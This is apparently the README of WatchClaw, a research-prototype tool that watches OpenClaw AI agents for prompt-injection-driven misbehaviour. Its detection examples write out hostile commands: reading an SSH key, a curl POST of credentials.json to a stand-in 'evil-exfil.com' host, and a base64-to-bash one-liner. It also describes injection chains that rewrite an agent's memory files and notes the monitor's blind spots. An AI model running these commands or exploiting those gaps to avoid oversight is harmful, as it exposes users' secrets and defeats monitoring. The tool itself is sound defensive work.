watchclaw 0.1.2

Behavioral monitoring for OpenClaw AI agents — research prototype

WatchClaw

Zeek for the AI Agent era — behavioral monitoring for OpenClaw agents.

WatchClaw watches what your AI agents actually do: every file read, every shell command, every external request. When behavior deviates from baseline or matches known attack patterns, it alerts you in real time — without touching the agent's execution flow.

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Why This Exists

AI agents running on OpenClaw have no external observer. A compromised agent — one that has been hijacked via prompt injection — can quietly read your credentials, exfiltrate data, or overwrite its own identity files. Nothing in OpenClaw's default setup would tell you this happened.

WatchClaw is that observer.

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Architecture

OpenClaw JSONL Logs
        │
        ▼
┌──────────────┐
│    Parser    │  Parses tool call events from raw logs.
│              │  Extracts file paths and URLs from exec commands
│              │  (cat, head, curl, wget, nc, etc.)
└──────┬───────┘
       │
       ▼
┌──────────────┐
│    Engine    │
│              │
│  ┌─────────┐ │  Tracks sensitivity across events with exponential
│  │  Taint  │ │  decay (half-life 300s). Sensitive file read →
│  │ Tracker │ │  taint propagates to subsequent outgoing requests.
│  └─────────┘ │
│              │
│  ┌─────────┐ │  Detects multi-step attack chains within time windows:
│  │Sequence │ │  read_then_exfil, config_then_escalate,
│  │Detector │ │  external_trigger_chain (cognitive injection)
│  └─────────┘ │
│              │
│  ┌─────────┐ │  Scores each event across 6 signals.
│  │ Scorer  │ │  Learns per-agent behavioral baselines.
│  └─────────┘ │  Decision: NORMAL / NOTICE / ALERT / CRITICAL
└──────┬───────┘
       │
       ▼
┌──────────────┐
│   Alerter    │  Discord webhook, action log, daily report
└──────────────┘

Anomaly Signals

Signal	Description
time_anomaly	Activity during unusual hours vs. per-agent learned baseline
user_idle	Action taken while user appears inactive
resource_anomaly	Access to sensitive files or known-bad domains (score 0–1)
destination_anomaly	Known-bad or newly-registered external domains
taint_flow	Sensitive data read → outgoing request within time window
rate_burst	Abnormally high action volume in short period

Attack Sequence Patterns

Pattern ID	Trigger Condition
read_then_exfil	Sensitive file read → external web/exec request within 120s
config_then_escalate	Identity/config file write → privileged exec within 60s
external_trigger_chain	External fetch → SOUL.md / MEMORY.md write (cognitive injection)

Hard Rules

Rule	Description
WC-HARD-003	Obfuscated command execution (base64 -d | bash, encoded payloads)
WC-HARD-004	Bulk credential harvesting (find / -name "*.pem" patterns)

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Detection Capabilities

WatchClaw detects exec-layer attacks with full semantic analysis. The v0.1.1 parser upgrade extracts file paths and URLs directly from shell commands, enabling taint tracking even when agents use exec instead of native tools.

Verified detections:

cat ~/.ssh/id_rsa
  → file_read, sensitivity=0.95, resource_anomaly=1.0 → ALERT

curl -X POST https://evil-exfil.com/upload -d @credentials.json
  → web_fetch, destination_anomaly=1.0 + taint_flow=0.88 → ALERT

echo 'Y3VybC4uLg==' | base64 -d | bash
  → WC-HARD-003 obfuscated command → ALERT

[Read credentials.json] → [curl evil.com within 120s]
  → read_then_exfil sequence, score boost +0.4 → CRITICAL

[curl pastebin.com] → [Write to SOUL.md]
  → external_trigger_chain (cognitive injection) → CRITICAL

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Known Limitations

OpenClaw Does Not Log Tool Arguments

This is the primary constraint of the current v0.1 implementation.

OpenClaw's JSONL log format records that a tool was called, but not its arguments:

# What OpenClaw logs:
"embedded run tool start: runId=xxx tool=Read"

# What WatchClaw needs for full detection:
"tool=Read path=/Users/andy/.ssh/id_rsa"

Consequence: When agents use native Read or web_fetch tools, WatchClaw sees the event type but not the file path or URL. Semantic analysis is blind for native tool usage. The v0.1.1 exec path extraction is a partial workaround — it gives full visibility for shell-command-level access.

Alert-Only

WatchClaw observes and alerts. It does not intercept or block. By the time a CRITICAL alert fires, the exec command has already run. This is an intentional design choice — false-positive blocking in an AI agent monitoring tool causes more harm than it prevents.

Behavioral Baseline Learning Curve

Anomaly scoring depends on a per-agent baseline. New agents start with cold-start priors; baselines improve with a few days of normal operation.

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Defense-in-Depth Positioning

Per the OWASP Gen AI Security Project, no single technique prevents prompt injection. Effective defense requires multiple layers.

WatchClaw occupies Layer 3 — Output Behavior Monitoring:

Layer 1 │ Architecture & Permissions
        │ Least privilege, sandboxing, HITL for dangerous ops
        │ → Configure in OpenClaw, not WatchClaw's domain
        │
Layer 2 │ Prompt Engineering
        │ Input delimiters (Spotlighting), post-prompting
        │ → OpenClaw wraps external content in EXTERNAL_UNTRUSTED_CONTENT
        │
Layer 3 │ Behavioral Monitoring  ◄── WatchClaw
        │ Exec-layer taint tracking, sequence detection, anomaly scoring
        │ Provides signals for Human-in-the-Loop review

WatchClaw's taint tracking is a behavioral approximation of Origin Tracing: instead of tracing which prompt instruction caused a tool call (which requires LLM context access), it traces data flow — did a sensitive resource read precede an outgoing request?

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Roadmap

v0.2 — OpenClaw Plugin (Route B)

The correct long-term architecture is a native OpenClaw plugin using the before_tool_call hook (verified in plugin-sdk/plugins/types.d.ts):

api.registerHook("before_tool_call", async (event, ctx) => {
    // Full parameter visibility — no log parsing needed:
    // Read      → event.params.path
    // web_fetch → event.params.url
    // exec      → event.params.command
    // Write     → event.params.path + event.params.content

    await watchclaw.analyze(event.toolName, event.params, ctx.agentId);

    return undefined;  // Pure monitoring — never blocks
});

This eliminates the log-argument blindspot entirely. The Python detection engine (taint, sequences, scoring) can be called as a local sidecar. The plugin ships as npm install @watchclaw/openclaw-plugin and registers via openclaw plugins install.

Security note on v0.2: A before_tool_call plugin runs in-process and sees all tool parameters across all agents. Treat it as trusted code. The plugin must not persist raw file contents or response bodies — metadata only.

Further Directions

• Upstream contribution to OpenClaw: log sanitized tool arguments (file path yes, file contents no; URL domain yes, query params with tokens no)
• Per-agent policy profiles (developer agents tolerate wider exec patterns)
• True Origin Tracing via LLM prompt context access
• Evaluation benchmark for AI agent behavioral monitoring tools

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Installation

pip install watchclaw

Requires Python 3.11+. OpenClaw logs expected at /tmp/openclaw/.

watchclaw start      # continuous monitoring
watchclaw report     # 24h summary
watchclaw simulate   # test detection with synthetic attack scenarios
watchclaw profile    # per-agent behavioral baseline

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Project Structure

src/watchclaw/
├── parser.py        # OpenClaw JSONL log parser + exec command semantic extraction
├── taint.py         # Sensitivity propagation with exponential decay (half-life 300s)
├── scorer.py        # 6-signal anomaly scoring + per-agent baseline learning
├── sequence.py      # Multi-step attack pattern detection (sliding window)
├── engine.py        # Orchestration
├── rules.py         # Hard rules (WC-HARD-003 obfuscation, WC-HARD-004 harvesting)
├── alerter.py       # Discord webhook + structured action log
└── cli.py           # CLI entry points
tests/               # 307 tests

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Contributing

Issues and PRs welcome. The most impactful contribution is the v0.2 OpenClaw plugin — the detection engine is ready to be called from a TypeScript hook handler.

License

MIT